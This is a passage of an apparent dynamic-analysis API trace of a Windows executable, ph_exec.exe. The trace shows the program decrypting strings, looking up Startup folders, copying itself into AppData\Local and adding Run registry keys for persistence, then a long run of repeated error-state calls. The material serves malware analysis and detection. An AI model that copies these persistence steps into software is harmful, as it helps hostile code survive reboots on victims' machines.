pbData=0xc9f7f0, dwFlags=0x0) returned 1 [0036.665] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b112c0, pdwDataLen=0xc9f7bc | out: pbData=0x2b112c0, pdwDataLen=0xc9f7bc) returned 1 [0036.665] CryptDestroyKey (hKey=0x10c9410) returned 1 [0036.665] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b112c0 | out: hHeap=0x2b10000) returned 1 [0036.665] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2b11270, nSize=0xf | out: lpDst="") returned 0x1e [0036.665] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11298 | out: hHeap=0x2b10000) returned 1 [0036.665] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11270, Size=0x3a) returned 0x2b11270 [0036.665] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x3a) returned 0x2b112b8 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11300 [0036.666] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f804 | out: phKey=0xc9f804*=0x10c9410) returned 1 [0036.666] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0xc9f7ec, dwFlags=0x0) returned 1 [0036.666] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11300, pdwDataLen=0xc9f7b8 | out: pbData=0x2b11300, pdwDataLen=0xc9f7b8) returned 1 [0036.666] CryptDestroyKey (hKey=0x10c9410) returned 1 [0036.666] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11300 | out: hHeap=0x2b10000) returned 1 [0036.666] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2b11270, nSize=0x1d | out: lpDst="") returned 0x1e [0036.666] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b112b8 | out: hHeap=0x2b10000) returned 1 [0036.666] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11270, Size=0x72) returned 0x2b11270 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x72) returned 0x2b112f0 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11370 [0036.666] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f804 | out: phKey=0xc9f804*=0x10c92d0) returned 1 [0036.666] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f7ec, dwFlags=0x0) returned 1 [0036.666] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11370, pdwDataLen=0xc9f7b8 | out: pbData=0x2b11370, pdwDataLen=0xc9f7b8) returned 1 [0036.666] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.666] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11370 | out: hHeap=0x2b10000) returned 1 [0036.666] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2b11270, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0036.666] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b112f0 | out: hHeap=0x2b10000) returned 1 [0036.666] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b112f0 [0036.666] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7c4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f82c | out: phKey=0xc9f82c*=0x10c92d0) returned 1 [0036.666] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f814, dwFlags=0x0) returned 1 [0036.666] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b112f0, pdwDataLen=0xc9f7e0 | out: pbData=0x2b112f0, pdwDataLen=0xc9f7e0) returned 1 [0036.666] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x3e) returned 0x2b11338 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x3e) returned 0x2b11380 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b113c8 [0036.666] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f804 | out: phKey=0xc9f804*=0x10c92d0) returned 1 [0036.666] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f7ec, dwFlags=0x0) returned 1 [0036.666] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b113c8, pdwDataLen=0xc9f7b8 | out: pbData=0x2b113c8, pdwDataLen=0xc9f7b8) returned 1 [0036.666] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x10) returned 0x2b11248 [0036.666] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xc9f780 | out: phkResult=0xc9f780*=0x224) returned 0x0 [0036.666] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0xc9f77c, lpData=0x2b11380, lpcbData=0xc9f784*=0x3e | out: lpType=0xc9f77c*=0x2, lpData=0x2b11380*=0x98, lpcbData=0xc9f784*=0x98) returned 0xea [0036.666] RegCloseKey (hKey=0x224) returned 0x0 [0036.666] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.666] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b113c8 | out: hHeap=0x2b10000) returned 1 [0036.666] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11380 | out: hHeap=0x2b10000) returned 1 [0036.666] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11338, Size=0x7a) returned 0x2b11338 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x7a) returned 0x2b113c0 [0036.666] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11448 [0036.666] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f798, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f800 | out: phKey=0xc9f800*=0x10c8d90) returned 1 [0036.667] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0xc9f7e8, dwFlags=0x0) returned 1 [0036.667] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11448, pdwDataLen=0xc9f7b4 | out: pbData=0x2b11448, pdwDataLen=0xc9f7b4) returned 1 [0036.667] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0036.667] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x10) returned 0x2b11248 [0036.667] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xc9f77c | out: phkResult=0xc9f77c*=0x224) returned 0x0 [0036.667] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0xc9f778, lpData=0x2b113c0, lpcbData=0xc9f780*=0x7a | out: lpType=0xc9f778*=0x2, lpData=0x2b113c0*=0x98, lpcbData=0xc9f780*=0x98) returned 0xea [0036.667] RegCloseKey (hKey=0x224) returned 0x0 [0036.667] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.667] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11448 | out: hHeap=0x2b10000) returned 1 [0036.667] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b113c0 | out: hHeap=0x2b10000) returned 1 [0036.667] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11338, Size=0xf2) returned 0x2b11338 [0036.667] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xf2) returned 0x2b11438 [0036.667] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15298 [0036.667] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f798, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f800 | out: phKey=0xc9f800*=0x10c92d0) returned 1 [0036.667] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f7e8, dwFlags=0x0) returned 1 [0036.667] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15298, pdwDataLen=0xc9f7b4 | out: pbData=0x2b15298, pdwDataLen=0xc9f7b4) returned 1 [0036.667] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.667] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x10) returned 0x2b11248 [0036.667] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xc9f77c | out: phkResult=0xc9f77c*=0x224) returned 0x0 [0036.667] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0xc9f778, lpData=0x2b11438, lpcbData=0xc9f780*=0xf2 | out: lpType=0xc9f778*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xc9f780*=0x98) returned 0x0 [0036.667] RegCloseKey (hKey=0x224) returned 0x0 [0036.667] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.667] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11248 [0036.667] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xc9f77c | out: phkResult=0xc9f77c*=0x224) returned 0x0 [0036.667] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0xc9f778, lpData=0x2b114d0, lpcbData=0xc9f780*=0x5a | out: lpType=0xc9f778*=0x0, lpData=0x2b114d0*=0x73, lpcbData=0xc9f780*=0x5a) returned 0x2 [0036.667] RegCloseKey (hKey=0x224) returned 0x0 [0036.667] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xc9f790 | out: phkResult=0xc9f790*=0x224) returned 0x0 [0036.667] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0xc9f78c, lpData=0x2b114d0, lpcbData=0xc9f794*=0x5a | out: lpType=0xc9f78c*=0x2, lpData=0x2b114d0*=0x73, lpcbData=0xc9f794*=0x78) returned 0xea [0036.667] RegCloseKey (hKey=0x224) returned 0x0 [0036.667] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.667] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0036.667] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11438 | out: hHeap=0x2b10000) returned 1 [0036.667] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11338, Size=0x1e2) returned 0x2b11338 [0036.667] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e2) returned 0x2b15298 [0036.667] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15488 [0036.668] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f798, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f800 | out: phKey=0xc9f800*=0x10c8d90) returned 1 [0036.668] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0xc9f7e8, dwFlags=0x0) returned 1 [0036.668] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15488, pdwDataLen=0xc9f7b4 | out: pbData=0x2b15488, pdwDataLen=0xc9f7b4) returned 1 [0036.668] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0036.668] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x10) returned 0x2b11528 [0036.668] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xc9f77c | out: phkResult=0xc9f77c*=0x224) returned 0x0 [0036.668] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0xc9f778, lpData=0x2b15298, lpcbData=0xc9f780*=0x1e2 | out: lpType=0xc9f778*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xc9f780*=0x98) returned 0x0 [0036.668] RegCloseKey (hKey=0x224) returned 0x0 [0036.668] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11528 | out: hHeap=0x2b10000) returned 1 [0036.668] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11248 [0036.668] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xc9f77c | out: phkResult=0xc9f77c*=0x224) returned 0x0 [0036.668] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0xc9f778, lpData=0x2b15330, lpcbData=0xc9f780*=0x14a | out: lpType=0xc9f778*=0x0, lpData=0x2b15330*=0xc0, lpcbData=0xc9f780*=0x14a) returned 0x2 [0036.668] RegCloseKey (hKey=0x224) returned 0x0 [0036.668] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xc9f790 | out: phkResult=0xc9f790*=0x224) returned 0x0 [0036.668] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0xc9f78c, lpData=0x2b15330, lpcbData=0xc9f794*=0x14a | out: lpType=0xc9f78c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xc9f794*=0x78) returned 0x0 [0036.668] RegCloseKey (hKey=0x224) returned 0x0 [0036.668] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.668] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15488 | out: hHeap=0x2b10000) returned 1 [0036.668] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x2b11338, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0036.668] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0036.668] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b112f0 | out: hHeap=0x2b10000) returned 1 [0036.668] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b15298 [0036.668] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b154b0 [0036.668] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b156c8 [0036.668] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b158e0 [0036.668] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b15298, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0036.668] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b15af8 [0036.668] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b15af8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0036.668] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15af8 | out: hHeap=0x2b10000) returned 1 [0036.668] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b15af8 [0036.671] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b15af8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0036.671] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15af8 | out: hHeap=0x2b10000) returned 1 [0036.671] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe"), bFailIfExists=0) returned 1 [0036.680] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0xc9f894 | out: phkResult=0xc9f894*=0x224) returned 0x0 [0036.680] RegSetValueExW (in: hKey=0x224, lpValueName="ph_exec", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe", cbData=0x52 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe") returned 0x0 [0036.680] RegCloseKey (hKey=0x224) returned 0x0 [0036.680] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0xc9f880 | out: phkResult=0xc9f880*=0x224) returned 0x0 [0036.680] RegSetValueExW (in: hKey=0x224, lpValueName="ph_exec", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe", cbData=0x52 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe") returned 0x0 [0036.680] RegCloseKey (hKey=0x224) returned 0x0 [0036.680] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x118) returned 0x2b15af8 [0036.680] GetLastError () returned 0x0 [0036.680] SetLastError (dwErrCode=0x0) [0036.680] GetLastError () returned 0x0 [0036.680] SetLastError (dwErrCode=0x0) [0036.680] GetLastError () returned 0x0 [0036.680] SetLastError (dwErrCode=0x0) [0036.680] GetLastError () returned 0x0 [0036.680] SetLastError (dwErrCode=0x0) [0036.680] GetLastError () returned 0x0 [0036.680] SetLastError (dwErrCode=0x0) [0036.680] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.681] SetLastError (dwErrCode=0x0) [0036.681] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.682] SetLastError (dwErrCode=0x0) [0036.682] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.683] SetLastError (dwErrCode=0x0) [0036.683] GetLastError () returned 0x0 [0036.684] SetLastError (dwErrCode=0x0) [0036.684] GetLastError () returned 0x0 [0036.684] SetLastError (dwErrCode=0x0) [0036.684] GetLastError () returned 0x0 [0036.684] SetLastError (dwErrCode=0x0) [0036.684] GetLastError () returned 0x0 [0036.684] SetLastError (dwErrCode=0x0) [0036.684] GetLastError () returned 0x0 [0036.684] SetLastError (dwErrCode=0x0) [0036.684] GetLastError () returned 0x0 [0036.684] SetLastError (dwErrCode=0x0) [0036.684] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.685] GetLastError () returned 0x0 [0036.685] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.686] GetLastError () returned 0x0 [0036.686] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.687] SetLastError (dwErrCode=0x0) [0036.687] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.688] SetLastError (dwErrCode=0x0) [0036.688] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 